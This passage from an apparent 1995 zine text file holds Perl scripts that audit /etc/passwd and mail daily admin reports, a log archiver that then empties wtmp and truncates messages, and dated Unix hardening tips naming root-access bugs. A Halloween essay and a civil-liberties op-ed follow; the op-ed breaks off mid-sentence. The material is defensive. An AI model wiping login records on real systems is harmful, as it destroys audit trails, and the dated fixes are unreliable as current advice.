  831. # a lot of logfiles that are often around in the system for a long period
  832. # of time (ie, /var/adm/messages, /var/adm/xferlog, and /usr/adm/wtmp).
  833. # These files _generally_ do not have year information stored in them,
  834. # so there is no way to tell what happened a year ago yesterday from
  835. # what happened yesterday.  So, there is a requirement that your logfiles
  836. # not have data more than one year old in them.  Speaking personally, I
  837. # solved this problem by compressing and storing everything more than one
  838. # month old in a cron job that runs once a month.
  839.  
  840. # This array holds the list of all users for whom it is acceptable to have
  841. # UID 0 (generally only "root"):
  842. @ok_uid_zeros = ("root");
  843.  
  844. # This array holds the list of all users for whom it is acceptable to have
  845. # GID 0:
  846. @ok_gid_zeros = ("root", "sync", "shutdown", "halt", "operator");
  847.  
  848. # Contact line.  Kludged 'cause reports don't like at signs
  849. $email_line = "Email quark@baz.com with any issues.\n";
  850.  
  851. &get_dates(); # Assigns the date to global var $date, and the report date
  852.               # (ie, yesterday) to the global $report_date.
  853. &get_hostname();      # Assigns the hostname to $host_name.
  854. &get_domain_name();    # Gets domain name from /etc/HOSTNAME
  855.  
  856. # Everything above is to get setup info.  Reports are generated from
  857. # here on down.
  858.  
  859. &get_syslog_report();       # Gets the syslog report into $syslog_report.
  860. &get_netlogons_report();    # Gets the netlogons report into
  861.                                 # $netlogons_report.
  862. &get_xferlog_report();      # Gets the xfer report into $xferlog_report.
  863. &get_diskspace_report();    # Gets diskpace report into $disk_space_report.
  864. &get_passwd_report();       # Gets passwd analysis into $passwd_report
  865. &get_uptime_report();       # Gets the uptime report into $uptime_report.
  866.  
  867. # Open the report as a pipe to mail to root:
  868. open(ADMINREPORT, "|mail root -s \"Administration Report for $host_name\"");
  869. # Write the report (definition is at the end of the script)
  870. write(ADMINREPORT);
  871. # And close.
  872. close(ADMINREPORT);
  873.  
  874.  
  875. # Subroutines:
  876.  
  877.  
  878. # Assigns today's date the the global variable $date, and the report date
  879. # (generally yesterday) to the global variable $report_date.
  880.  
  881. sub get_dates
  882. {
  883.     # Execute "date" as a pipe, to get today's date:
  884.     open(DATE_PIPE, "date|");
  885.  
  886.     chop($date = <DATE_PIPE>); # Get the output from the process
  887.     close(DATE_PIPE);       # Close it
  888.  
  889.     # Now, we need yesterday's date.  Rather than futzing with it,
  890.     # we can call "date -d yesterday" in order to have IT figure it
  891.     # out for us.
  892.     open(DATE_PIPE, "date -d yesterday|");
  893.     chop($_ = <DATE_PIPE>);   # Get the info, again...
  894.     close(DATE_PIPE);       # ...and close it.
  895.     s/\w+\s//; # Strip off the leading day of the week.
  896.     /\w+\s+\w+/; # Match "MMM DD" (ie, "Aug  8")
  897.     $report_date = $&; # Assign the results of this to $report_date.
  898. }
  899.  
  900. # Find out who we are:
  901. sub get_hostname
  902. {
  903.     open(HOSTNAME, "/etc/HOSTNAME"); # Execute hostname into a pipe
  904.  
  905.     chop($host_name = <HOSTNAME>); # Get the information
  906.  
  907.     close(HOSTNAME);   # Close the file up
  908. }
  909.  
  910. # Get the report information from /var/adm/messages for all entries that
  911. # were written on $report_date:
  912. sub get_syslog_report
  913. {
  914.     open(SYSLOG, "/var/adm/messages"); # Open the file for reading...
  915.     while($_ = <SYSLOG>)    # Loop while there is more to read
  916.     {
  917.     /\w+\s+\w+/; # Match "MMM DD" (ie, "Aug  8")
  918.  
  919.     if($& eq $report_date) # Only get today's report...
  920.     {
  921.         # Concatenate the line to the report:
  922.         $syslog_report = $syslog_report . $_;
  923.     }
  924.     }
  925.     close(SYSLOG);     # Close the file
  926.  
  927.     if(!$syslog_report)       # If no lines were found from $report_date
  928.     {
  929.     $syslog_report = "No Entries.\n"; # Indicate a blank report
  930.     }
  931. }
  932.  
  933. # Get the report information from /var/adm/xferlog for all entries that
  934. # were written on $report_date.  This is very similar to &get_syslog_report,
  935. # above.  However, since the log files have trivial format differences, the
  936. # functions are not identical.
  937. sub get_xferlog_report
  938. {
  939.     open(SYSLOG, "/var/adm/xferlog"); # Open the xferlog for reading
  940.     while($_ = <SYSLOG>)    # Loop while there's something to read
  941.     {
  942.     s/\w+\s//; # Strip off the leading day of the week.
  943.     /\w+\s+\w+/; # Match "MMM DD" (ie, "Aug  8")
  944.  
  945.     if($& eq $report_date) # Only get today's report...
  946.     {
  947.         # Concatenate the line to the report:
  948.         $xferlog_report = $xferlog_report . $_;
  949.     }
  950.     }
  951.     close(SYSLOG);     # Close the file
  952.  
  953.     if(!$xferlog_report)    # If no lines were found from $report_date
  954.     {
  955.     $xferlog_report = "No Entries.\n"; # Indicate an empty report
  956.     }
  957.  
  958. }
  959.  
  960. # Generate the report of who logged on yesterday from the network.
  961. # From the network, for these purposes, is defined as:  On a virtual
  962. # terminal (ttyp*), not from $domain_name and not from 0.0 (the only X
  963. # I have set up).
  964.  
  965. sub get_netlogons_report
  966. {
  967.     open(LOGONS, "who /usr/adm/wtmp|");     # Open who to a pipe
  968.     while($_ = <LOGONS>)    # While it's got info...
  969.     {
  970.     $temp = $_;       # Remember the raw line ere manipulation
  971.     s/\w+\s+\w+\s+//; # Dump the userid and tty off the line, for now
  972.     /\w+\s+\w+/; # Match the date...
  973.  
  974.     if($& eq $report_date)   # Is it from the day we're looking for?
  975.     {
  976.         $_ = $temp;    # If so, put the raw input back into $_
  977.         if(/ttyp/) # Is it from a virtual terminal?
  978.         {
  979.       /$domain_name/; # Is it not from the local net?
  980.       if(!/$domain_name/)
  981.       {
  982.           if(! /0.0/)  # Is it not from an X Terminal?
  983.           {
  984.        # Yes, yes and yes; append it to the report:
  985.        $netlogons_report = $netlogons_report . $_;
  986.           }
  987.       }
  988.         }
  989.     }
  990.     }
  991.     close(LOGONS);     # Close the pipe
  992.  
  993.     if(!$netlogons_report)   # Nobody logged in yesterday!
  994.     {
  995.     $netlogons_report = "No Entries.\n"; # Report a NULL report
  996.     }
  997. }
  998.  
  999. # Get the report on the ammount of diskspace available.
  1000. sub get_diskspace_report
  1001. {
  1002.     open(DF, "df |");       # Open df to a pipe
  1003.     while($_ = <DF>)
  1004.     {
  1005.     if(!/\/mnt\//) # Ignore stuff in /mnt like floppies, CDs, FAT drives
  1006.     {
  1007.         if(!/:/) # Ignore NFS mounted volumes
  1008.         {
  1009.       # Append it to the report:
  1010.       $disk_space_report = $disk_space_report . $_;
  1011.         }
  1012.     }
  1013.     }
  1014.     close(DF);        # Close the pipe
  1015.     if(!$disk_space_report)
  1016.     {
  1017.     # A NULL report on this one is a bit more severe on the others.
  1018.     # It is truly weird if df has no entries that are not NFS and
  1019.     # not in the /mnt directory (at least on my systems)
  1020.     $disk_space_report = "No Entries.  (HUH?)\n";
  1021.     }
  1022. }
  1023.  
  1024. # This is the most sophisticated of all.  It does some simple analysis of
  1025. # the existing /etc/passwd, and then does some analysis of what has changed
  1026. # since yesterday.  At a high level, it reports on users with no passwords,
  1027. # users who are UID 0 or GID 0 and not in the @ok_uid_zeros and @ok_gid_zeros
  1028. # arrays, respectively, and reports the users added, deleted and changed
  1029. # since the last time it was run (presumed to be yestersay).
  1030.  
  1031. sub get_passwd_report
  1032. {
  1033.     # Initialize all the variables we need:
  1034.     $no_password_users = 0;   # Number of users with no password
  1035.     $uid_zero = 0;     # Number of users who are (improperly) UID 0
  1036.     $gid_zero = 0;     # Ditto for GID 0
  1037.     $index = 0;        # Temporary index for walking arrays
  1038.  
  1039.     open(PASSWD, "/etc/passwd"); # Read in for security analysis, first...
  1040.     while($_ = <PASSWD>)    # While there's lines to read
  1041.     {
  1042.     # First, check for users with no passwords at all:
  1043.     if(/^[^:]*::/) # If we have "login::" as the start of the line...
  1044.     {
  1045.         /^[^:]*/; # Just select the login, and scream and holler:
  1046.         $passwd_report =
  1047.            $passwd_report .
  1048.          "*** WARNING! USER <$&> HAS NO PASSWORD! ***\n";
  1049.         # Increment the count of problem users)
  1050.         $no_password_users = $no_password_users + 1;
  1051.     }
  1052.  
  1053.     if(/^[^:]*:[^:]*:0/)    # UID == 0 (just trust me on this)
  1054.     {
  1055.         /^[^:]*/; # Just select the login
  1056.         $is_ok = 0;
  1057.         $index = 0;
  1058.         while(!$is_ok && $ok_uid_zeros[$index]) # Is it OK for this guy?
  1059.         {
  1060.       if($& eq $ok_uid_zeros[$index])
  1061.       {
  1062.           $is_ok = 1;  # Allowed to have UID 0.
  1063.       }
  1064.       $index = $index + 1;
  1065.         }
  1066.  
  1067.         if(!$is_ok)   # NOT allowed to be UID 0!
  1068.         {
  1069.       $passwd_report =
  1070.           $passwd_report .
  1071.        "*** WARNING!  USER <$&> IS UID 0! ***\n";
  1072.       $uid_zero = $uid_zero + 1;
  1073.         }
  1074.     }
  1075.  
  1076.     if(/^[^:]*:[^:]*:[^:]*:0/) # GID == 0...
  1077.     {
  1078.         /^[^:]*/; # Select the login
  1079.         $is_ok = 0;
  1080.         $index = 0;
  1081.         while(!$is_ok && $ok_gid_zeros[$index]) # OK to be GID 0?
  1082.         {
  1083.       if($& eq $ok_gid_zeros[$index])
  1084.       {
  1085.           $is_ok = 1;  # It's OK (ie, he's root)
  1086.       }
  1087.       $index = $index + 1;
  1088.         }
  1089.  
  1090.         if(!$is_ok)   # It's NOT ok!  Alert...
  1091.         {
  1092.       $passwd_report =
  1093.           $passwd_report .
  1094.        "*** WARNING!  USER <$&> IS GID 0! ***\n";
  1095.       $gid_zero = $gid_zero + 1;
  1096.         }
  1097.     }
  1098.     }
  1099.     close(PASSWD);
  1100.  
  1101.     if($gid_zero || $uid_zero || $no_password_users > 0)
  1102.     {
  1103.     $passwd_report = $passwd_report . "\n";
  1104.       # Do a blank line if nothing was alerted.
  1105.     }
  1106.  
  1107.     # Present the summary of our findings:
  1108.  
  1109.     if($no_password_users)
  1110.     {
  1111.     if($no_password_users == 1) # This is just for the grammar.  :)
  1112.     {
  1113.         $passwd_report =
  1114.       $passwd_report .
  1115.           "*** $no_password_users USER HAS NO PASSWORD! ***\n";
  1116.     }
  1117.     else
  1118.     {
  1119.         $passwd_report =
  1120.          $passwd_report .
  1121.        "*** $no_password_users USERS HAVE NO PASSWORD! ***\n";
  1122.     }
  1123.  
  1124.     }
  1125.     else
  1126.     {
  1127.     $passwd_report = $passwd_report . "All users have passwords.\n";
  1128.     }
  1129.  
  1130.     if($uid_zero)
  1131.     {
  1132.     if($uid_zero == 1)
  1133.     {
  1134.         $passwd_report =
  1135.       $passwd_report .
  1136.           "*** $uid_zero UNAUTHORIZED USER IS UID 0! ***\n";
  1137.     }
  1138.     else
  1139.     {
  1140.         $passwd_report =
  1141.       $passwd_report .
  1142.           "*** $uid_zero UNAUTHORIZED USERS ARE UID 0! ***\n";
  1143.     }
  1144.     }
  1145.     else
  1146.     {
  1147.     $passwd_report =
  1148.         $passwd_report . "No unauthorized users have UID 0.\n";
  1149.     }
  1150.  
  1151.     if($gid_zero)
  1152.     {
  1153.     if($gid_zero == 1)
  1154.     {
  1155.         $passwd_report =
  1156.       $passwd_report .
  1157.           "*** $gid_zero UNAUTHORIZED USER IS GID 0! ***\n";
  1158.     }
  1159.     else
  1160.     {
  1161.         $passwd_report =
  1162.       $passwd_report .
  1163.           "*** $gid_zero UNAUTHORIZED USERS ARE GID 0! ***\n";
  1164.     }
  1165.     }
  1166.     else
  1167.     {
  1168.     $passwd_report =
  1169.         $passwd_report . "No unauthorized users have GID 0.\n";
  1170.     }
  1171.  
  1172.     $passwd_report = $passwd_report . "\n";
  1173.  
  1174.       # Now, we're going to check to see if things have changed since
  1175.       # yesterday.  yp is yesterday's password file, tp is today's.
  1176.  
  1177.     if(open(OLD_PASSWD, "/etc/yp")) # IS there a yp file?
  1178.     {
  1179.     $new_users = 0;
  1180.     $del_users = 0;
  1181.     $changed_users = 0;
  1182.  
  1183.     while($_ = <OLD_PASSWD>) # Read in all the users and data in yp.
  1184.     {
  1185.         chop($_);
  1186.         if(/^[^:]*:/) # See if it's a basically valid line
  1187.         {
  1188.       /^[^:]*/; # Select the login
  1189.       $yp{$&} = $_; # Assign the data to the key
  1190.         }
  1191.     }
  1192.     close(OLD_PASSWD); # Close it up.
  1193.  
  1194.     system("cp", "/etc/passwd", "/etc/tp");
  1195.       # Copy passwd to tp.  We don't open passwd to avoid it being
  1196.       # changed in the middle or something.
  1197.     chmod(0600, "/etc/tp");   # Only root can access it...
  1198.  
  1199.     open(NEW_PASSWD, "/etc/tp"); # Get the new file.
  1200.     while($_ = <NEW_PASSWD>)
  1201.     {
  1202.         chop($_);
  1203.         if(/^[^:]*:/) # See if it's a basically valid line
  1204.         {
  1205.       /^[^:]*/; # Select the login
  1206.       $tp{$&} = $_; # Assign the data to the key (the login)
  1207.         }
  1208.     }
  1209.  
  1210.     @yp_list = %yp;   # So we can iterate through it
  1211.  
  1212.     $index = 0;
  1213.  
  1214.     while($yp_list[$index])   # Walk entries in yesterday's file
  1215.     {
  1216.         if($tp{$yp_list[$index]}) # It's in both...
  1217.         {
  1218.       if($tp{$yp_list[$index]} ne $yp{$yp_list[$index]})
  1219.       { # But not the same...
  1220.           $passwd_report = $passwd_report .
  1221.        "Changed user: <$yp_list[$index]>\n";
  1222.           $changed_users = $changed_users + 1;
  1223.       }
  1224.         }
  1225.         else
  1226.         { # It's a deleted user.
  1227.       $passwd_report = $passwd_report .
  1228.           "Deleted user: <$yp_list[$index]>\n";
  1229.       $del_users = $del_users + 1;
  1230.         }
  1231.         $index = $index + 2;
  1232.     }
  1233.  
  1234.     @tp_list = %tp;   # Now, same for today's file
  1235.     $index = 0;
  1236.  
  1237.     while($tp_list[$index])
  1238.     {
  1239.       # If we have a match with yp, we don't care, because it would be
  1240.       # caught above.  Here, we're just looking for stuff that's in tp
  1241.       # and not in yp. (ie, new users)
  1242.  
  1243.         if($yp{$tp_list[$index]} eq "")
  1244.         { # It's a new user.
  1245.       $passwd_report = $passwd_report .
  1246.           "New user: <$tp_list[$index]>\n";
  1247.       $new_users = $new_users + 1;
  1248.         }
  1249.         $index = $index + 2;
  1250.     }
  1251.  
  1252.     if($del_users || $new_users || $changed_users)
  1253.     {
  1254.         $passwd_report = $passwd_report . "\n";
  1255.       # Append a newline if there were no changes.
  1256.     }
  1257.  
  1258.       # Present a summary:
  1259.  
  1260.     $passwd_report = $passwd_report . "$new_users New users\n";
  1261.     $passwd_report = $passwd_report . "$del_users Deleted users\n";
  1262.     $passwd_report = $passwd_report . "$changed_users Changed users\n";
  1263.  
  1264.       # Make today's file yesterday's, for tomorrow's run:
  1265.     if(!rename("/etc/tp", "/etc/yp"))
  1266.     {
  1267.         $passwd_report = $passwd_report .
  1268.       "\nWarning!  Unable to rename /etc/tp to /etc/yp.\n";
  1269.         $passwd_report = $passwd_report .
  1270.       "Tomorrow's report will be bogus!\n";
  1271.     }
  1272.     }
  1273.  
  1274.     else  # First time this is run.
  1275.     {
  1276.     system("cp", "/etc/passwd", "/etc/yp");
  1277.     chmod(0600, "/etc/yp");
  1278.     $passwd_report = $passwd_report .
  1279.        "No /etc/yp existed, so no /etc/passwd change info is available.\n";
  1280.     }
  1281. }
  1282.  
  1283. # This function should take the "darwin.baz.com" line in /etc/HOSTNAME
  1284. # and turn it into "baz.com".  It will turn "foo.bar.baz.com" into
  1285. # bar.baz.com.
  1286.  
  1287. sub get_domain_name
  1288. {
  1289.     open(HOSTNAME, "/etc/HOSTNAME"); # Open /etc/HOSTNAME, to get our FQDN
  1290.     $_ = <HOSTNAME>;
  1291.     chop($_);
  1292.     s/\w+\.//;        # Strip off the machine name
  1293.     $domain_name = $_;
  1294.     close(HOSTNAME);
  1295. }
  1296.  
  1297. # Get the report on the ammount of diskspace available.
  1298. sub get_uptime_report
  1299. {
  1300.     open(UPTIME, "uptime |");  # Open df to a pipe
  1301.     while($_ = <UPTIME>)
  1302.     {
  1303.     # Append it to the report:
  1304.     $uptime_report = $uptime_report . $_;
  1305.     }
  1306.     close(UPTIME);          # Close the pipe
  1307.     if(!$uptime_report)       # No entries.  uptime bombed?
  1308.     {
  1309.     $uptime_report = "No Entries.  (HUH?)\n";
  1310.     }
  1311. }
  1312.  
  1313. format ADMINREPORT =
  1314. sreport v0.99 Copyright(C) 1995 Brett A. Thomas & RedCloud software.
  1315. @*
  1316. $email_line
  1317.  
  1318. Administrative report for @*
  1319. $host_name
  1320. Generated @*
  1321. $date
  1322.  
  1323. --------------
  1324. /etc/passwd Information:
  1325.  
  1326. @*
  1327. $passwd_report
  1328. --------------
  1329.  
  1330. --------------
  1331. Disk Space:
  1332.  
  1333. @*
  1334. $disk_space_report
  1335. --------------
  1336.  
  1337. --------------
  1338. Uptime:
  1339.  
  1340. @*
  1341. $uptime_report
  1342. --------------
  1343.  
  1344. --------------
  1345. Net Logons Activity for @<<<<<:
  1346. $report_date
  1347.  
  1348. @*
  1349. $netlogons_report
  1350. --------------
  1351.  
  1352. --------------
  1353. Syslog Activity for @<<<<<:
  1354. $report_date
  1355. @*
  1356. $syslog_report
  1357. --------------
  1358.  
  1359. --------------
  1360. Transfer Activity for @<<<<<:
  1361. $report_date
  1362. @*
  1363. $xferlog_report
  1364. --------------
  1365. .
  1366.  
  1367. ******************************** cut here *****************************
  1368.  
  1369. ******************************** cut here *****************************
  1370.  
  1371. #!/usr/bin/perl
  1372.  
  1373. # Log archiver Copyright (C) 1995 Brett A. Thomas & RedCloud Software.
  1374. # Email quark@baz.com with any questions.
  1375.  
  1376. # This program archives your /var/adm/wtmp and var/adm/messages.
  1377.  
  1378. $is_ok = 0;
  1379.  
  1380. if(&get_date() == 1)
  1381. {
  1382.     &get_hostname();
  1383.     if(&setup_dir())
  1384.     {
  1385.     if(!system("zip /var/adm/archive/$date /var/adm/messages /var/adm/wtmp >
  1386. /dev/null"))
  1387.     {
  1388.         system("cp /dev/null /var/adm/wtmp");
  1389.         system("tail -100 /var/adm/messages > /var/tmp/mess_temp");
  1390.         system("mv /var/tmp/mess_temp /var/adm/messages");
  1391.         $is_ok = 1;
  1392.     }
  1393.     }
  1394. }
  1395.  
  1396. if(open(MAIL, "|mail root -s \"Monthly Archive Report for $host_name\""))
  1397. {
  1398.     if(!$is_ok)
  1399.     {
  1400.     print MAIL "Archiving failed.\n";
  1401.     }
  1402.     else
  1403.     {
  1404.     print MAIL "Archiving successful.\n";
  1405.     }
  1406.     close(MAIL);
  1407. }
  1408.  
  1409. sub get_date
  1410. {
  1411.     if(open(DATE_FH, "date -d yesterday +%m%d%y|"))
  1412.     {
  1413.     chop($date = <DATE_FH>);
  1414.     close(DATE_FH);
  1415.     1;
  1416.     }
  1417.  
  1418.     else
  1419.     {
  1420.     0;
  1421.     }
  1422. }
  1423.  
  1424. sub setup_dir
  1425. {
  1426.     if(!open(DIR_FH, "/var/adm/archive"))
  1427.     {
  1428.     if(mkdir("/var/adm/archive", 0700))
  1429.     {
  1430.         1;
  1431.     }
  1432.     else
  1433.     {
  1434.         0;
  1435.     }
  1436.     }
  1437.     else
  1438.     {
  1439.     1;
  1440.     }
  1441. }
  1442.  
  1443. sub get_hostname
  1444. {
  1445.     open(HOSTNAME, "/etc/HOSTNAME");
  1446.  
  1447.     chop($host_name = <HOSTNAME>);
  1448.  
  1449.     close(HOSTNAME);
  1450. }
  1451.  
  1452. ************************* cut here ********************************
  1453.  
  1454.  
  1455. o Social Engineering:
  1456.  
  1457.  This is convincing ppl to do what you want, by giving them a bullshit story.
  1458.  You as a sysadmin should know better than to give out a password over the phone
  1459.  to someone you don't know is the actual user of an account. One of your users
  1460.  however might fall prey to this form of attack. You should make sure they know
  1461.  NEVER to give out thier password to someone calling them on the phone saying
  1462.  they are the sysadmin or the like. Make sure you already can access their
  1463.  account with out the need for thier password (as via the su command). And most
  1464.  importatly they should know if they ever recieve such a call/communication they
  1465.  should IMMEDIATLY inform you of this.
  1466.  
  1467. o Permissions:
  1468.  
  1469.  A sysadmin should pay close attention to the various permissions of certain
  1470.  files/commands. Typing ls -l will give a list of the permissions. Such
  1471.  permissions control access rights for the owner, ossiated members and other
  1472.  users. The security program COPS does a good check on the permissions of
  1473.  various files/commands and tells which might need changing. This should
  1474.  definatly be run on your system ASAP, as one of your users could run it before
  1475.  you and find security flaws. Also, on a related note, you should scan your file
  1476.  systems for SUID programs by using the find command. These programs should be
  1477.  kept to a minimum.
  1478.  
  1479. o Bugs:
  1480.  
  1481.  The great woe of sysadmin's great and small. Such are numerous. Below are
  1482.  three of the more serious ones and what you can do about them.
  1483.  
  1484. All known current distributions of Linux have an insecure portmapper
  1485. (rpc.portmap) and that should be replaced. The secure version can be gotten from
  1486. ftp://linux.mrao.edu/pub/linux/security/nfsd/portmap-3.tar.gz. Also, you will
  1487. need the tcp wrapper library to compile and use the secure portmapper.
  1488.  
  1489. Also, all known current distributions of linux have an insecure NFS server
  1490. (rpc.nfsd) and that should also be replaced. The secure version can be gotten
  1491. from ftp://linux.nrao.edu/pub/linux/security/nfsd/nfs-server-2.2alpha3.tar.gz.
  1492.  
  1493. Versions of the at/atrun package earlier than 2.7 have a bug which can allow
  1494. users root access. If you have one that is earlier than 2.7 or 2.7a you should
  1495. upgrade ASAP.
  1496.  
  1497. Version 1.70 of MiniCom has a bug which can allow for root access. You should
  1498. upgrade to version 1.71 immediatly.
  1499.  
  1500. o Additional Security measures:
  1501.  
  1502. SHADOW YOUR DAMN PASSWD FILE!!!!!!!!  (do you note the stress here? Good! :) )
  1503.  
  1504. Filter out IP source routing in your router. This is to prrevent IP address
  1505. spoofing.
  1506.  
  1507. smtp_wrap, which is currently in development, will prevent e-mail forgery.
  1508.  
  1509. Install the tcp wrapppers.
  1510.  
  1511.  
  1512.               .oO____Oo.
  1513.  
  1514.  
  1515.                        Halloween Lore --- Deliryum
  1516.  
  1517. *** note: part of this has been taken from various texts. The most
  1518.           notable being the pagan seasonal by Mike Nichols.
  1519.  
  1520.  
  1521.  Samhain, All Hallows Eve, Halloween. Different names of the same event.
  1522.  This very ancient of festivals is thought by many to be a satanic ritual
  1523.  or at least that it has its roots in such. This is simply not the case.
  1524.  Such are the misconeptions of a religeon too engrossed with making money
  1525.  and acculmatlating power for itself.
  1526.  
  1527. Halloween has its roots in the Celtic festival of Samhain, and our many
  1528. traditions have thier ancient origins, some obvious and some quite obscure.
  1529. The tradition of Trick or Treating with its costuming and masking, was, at
  1530. one time the old method known as wassailing, or the begging from the door
  1531. to door practiced at Yule, in which children acted as proxies for the spirts
  1532. of the deceased to whom offerings come be made. This Samhian tradition, moved
  1533. to the Winter Solstice, has its counter part in the Beltane, or May Day
  1534. processions of Europe in which children also beg treats from door to door in
  1535. exchange for fertility. The costuming and masking come down to us from the
  1536. shamanistic practice of wearing and dancing about in the skins and honrs of
  1537. animals slain for food which needed to be appeased, a practice vehemently
  1538. oppsed by the early christian church.
  1539.  
  1540. The jack o lantern, that fat orange pumpkin with flaming eyes and jagged
  1541. teeth of course the American version of the candle lit as a beacon for
  1542. the wondering spirts who are trying to find thier way home, or so the early
  1543. pagans believe. In Egypt, Mexico, and Ireland, candles are used. In japan
  1544. paper lanterns, and in western europe, it is said, turnips were carved and
  1545. used as lanterns on All hallows eve. There are many old German Halloween
  1546. decorations that depict a man made of vegatables, with a deep red turnip
  1547. for a head. Turnips, along with other root crops such as carrots and
  1548. potatoes, and the vegatables in the Cole family, cabbages, cauliflower,
  1549. Brussel sprouts, etc, are all seasonal vegetables which were grown for
  1550. winter storeage and as vital food supply. In Europe figures of "vegetable
  1551. men" were made as Halloween ornaments and represent the Foliate God fully
  1552. ripened. He is a close relative to the sacrificed God of the Grain, the
  1553. american counterpart of the loveable scarecrow.
  1554.  
  1555.      Not only is Samhain the end of autumn; it is also, more
  1556. importantly, the end of the old year and the beginning of the new.
  1557. Celtic New Year's Eve, when the new year begins with the onset of the
  1558. dark phase of the year, just as the new day begins at sundown.  There
  1559. are many representations of Celtic gods with two faces, and it surely
  1560. must have been one of them who held sway over Samhain.  Like his Greek
  1561. counterpart Janus, he would straddle the threshold, one face turned
  1562. toward the past in commemoration of those who died during the last
  1563. year, and one face gazing hopefully toward the future, mystic eyes
  1564. attempting to pierce the veil and divine what the coming year holds.
  1565. These two themes, celebrating the dead and divining the future, are
  1566. inexorably intertwined in Samhain, as they are likely to be in any New
  1567. Year's celebration.
  1568.  
  1569.      As a feast of the dead, it was believed the dead could, if they
  1570. wished, return to the land of the living for this one night, to
  1571. celebrate with their family, tribe, or clan.  And so the great burial
  1572. mounds of Ireland (sidh mounds) were opened up, with lighted torches
  1573. lining the walls, so the dead could find their way.  Extra places were
  1574. set at the table and food set out for any who had died that year.  And
  1575. there are many stories that tell of Irish heroes making raids on the
  1576. Underworld while the gates of faery stood open, though all must return
  1577. to their appointed places by cock-crow.
  1578.  
  1579.  
  1580.      The Christian religion, with its emphasis on the 'historical'
  1581. Christ and his act of redemption 2000 years ago, is forced into a
  1582. linear view of time, where 'seeing the future' is an illogical
  1583. proposition.  In fact, from the Christian perspective, any attempt to
  1584. do so is seen as inherently evil.  This did not keep the medieval
  1585. Church from co-opting Samhain's other motif, commemoration of the
  1586. dead.  To the Church, however, it could never be a feast for all the
  1587. dead, but only the blessed dead, all those hallowed (made holy) by
  1588. obedience to God - thus, All Hallow's, or Hallowmas, later All Saints
  1589. and All Souls.
  1590.  
  1591.      There are so many types of divination that are traditional to
  1592. Hallowstide, it is possible to mention only a few.  Girls were told to
  1593. place hazel nuts along the front of the firegrate, each one to
  1594. symbolize one of her suitors.  She could then divine her future
  1595. husband by chanting, 'If you love me, pop and fly; if you hate me,
  1596. burn and die.'  Several methods used the apple, that most popular of
  1597. Halloween fruits.  You should slice an apple through the equator (to
  1598. reveal the five-pointed star within) and then eat it by candlelight
  1599. before a mirror.  Your future spouse will then appear over your
  1600. shoulder.  Or, peel an apple, making sure the peeling comes off in one
  1601. long strand, reciting, 'I pare this apple round and round again; / My
  1602. sweetheart's name to flourish on the plain: / I fling the unbroken
  1603. paring o'er my head, / My sweetheart's letter on the ground to read.'
  1604. Or, you might set a snail to crawl through the ashes of your hearth.
  1605. The considerate little creature will then spell out the initial letter
  1606. as it moves.
  1607.  
  1608.      To Witches, Halloween is one of the four High Holidays, or
  1609. Greater Sabbats, or cross-quarter days.  Because it is the most
  1610. important holiday of the year, it is sometimes called 'THE Great
  1611. Sabbat.'  It is an ironic fact that the newer, self-created Covens
  1612. tend to use the older name of the holiday, Samhain, which they have
  1613. discovered through modern research.  While the older hereditary and
  1614. traditional Covens often use the newer name, Halloween, which has been
  1615. handed down through oral tradition within their Coven.  (This is often
  1616. holds true for the names of the other holidays, as well.  One may
  1617. often get an indication of a Coven's antiquity by noting what names it
  1618. uses for the holidays.)
  1619.  
  1620.      Of all the pagan holidays, Halloween is the only one that
  1621. still boasts anything near to popular celebration.  Even though it is
  1622. typically relegated to children (and the young-at-heart) and observed
  1623. as an evening affair only, many of its traditions are firmly rooted in
  1624. Paganism.  Interestingly, some schools have recently attempted to
  1625. abolish Halloween parties on the grounds that it violates the
  1626. separation of state and religion.  Speaking as a Pagan, I would be
  1627. saddened by the success of this move, but as a supporter of the
  1628. concept of religion-free public education, I fear I must concede the
  1629. point.  Nonetheless, it seems only right that there SHOULD be one
  1630. night of the year when our minds are turned toward thoughts of the
  1631. beyond.  A night when both Pagans and non-Pagans may ponder the
  1632. mysteries of the Otherworld and its inhabitants.  And if you are one
  1633. of them, may all your jack-o'lanterns have burned bright on this All Hallow's
  1634. Eve.
  1635.  
  1636.               .oO____Oo.
  1637.  
  1638.                         "A word to the wise" -- deliryum
  1639.  
  1640.  
  1641.   Americans from coast to coast and border to border have had a feeling
  1642. of revulsion over the mass-murder of terrorism by the bombers who
  1643. wantonly killed in the attack on the federal building in Oklahoma City.
  1644. But now it is important for our reaction to that horrible crime not to
  1645. result in a reverse from of terrorism against the basic liberties of all
  1646. Americans.
  1647.  
  1648.   One natural answer to the crime is to raise barriers in law against
  1649. other potential terrorists. But it should be remember that guarding
  1650. aginst one kind of danger could bring even worse danger to our liberty
  1651. in general.
  1652.  
  1653.   President Clinton, for example at first sought apporval for the pres-
  1654. ident to be given absolute "unreviewable" power to label any group he
  1655. suspected as being "terrorist".  No president, nor any other offical,
  1656. should have such power. It would be the power of smear and proscription
  1657. without evidence or trial. While the label might be used agsinst some
  1658. group that deserved it, what safe guard would there be against pres-
  1659. idential denunciation of some politcally unpopular group that did not
  1660. deserve any such designation?
  1661.  
  1662.   There has been no showing in the Oklahoma City case that any
  1663. identifiable group was involved. It would be totally contrary to our
  1664. system of justice to let that case "justify" a president's exercise of
  1665. dictatorial power of denunciation on his decision alone.
  1666.  
  1667.   Criticism of the president's proposal apparently gave even Mr. Clinton
  1668. second thoughts, so he has abandoned his request for such excessive
  1669. power. That it was even proposed in the first place should be warning of
  1670. the dangers of Govenmental overreation.
  1671.  
  1672.   Mr. clinton still seeks hower power to involve the nations military
  1673. forces in some investigations. That would be a mistake, too. The
  1674. military is not trained and equipted for such action. The suggestion
  1675. raises the specter of "storm trooper" type action that might be ordered
  1676. by a president against our citizenry if a terrorist crime could be used
  1677. as an excuse.
  1678.  
  1679.   There also are proposals to ease restrictions against investigative
  1680. wiretaps and checks on financial, credit and travel records. That sort
  1681. of thing, if not carefully restricted, could lead to "Gestapo-type"
  1682. infringments upon personal liberty.
  1683.  
  1684.   Mr. Clinton also has called for authorization for 1,000 new federal
  1685. agents. Of course, more officers always are needed. But there is no
  1686. reason to believe that the Oklahoma City terrorism, or any other random
  1687. crime, could be prevented by 1000 more agents. Who would have suspected
  1688. Oklahoma City would be a target among countless thousands of potential
  1689. targets throughout our country?
  1690.  
  1691.   The president also wants to create a new "center for counterterrorism."
  1692. Cut how many terrorist acts have we had in this country? Surely, we face
  1693. the possiblitly there will be more. But a far grater general threat to
  1694. our people comes fomr ordinary rampart criminals than from terroists.
  1695.  
  1696.   There are reasonable things that we can do to protect our people and
  1697. protery against terrorists. But there is no assurance that every planned
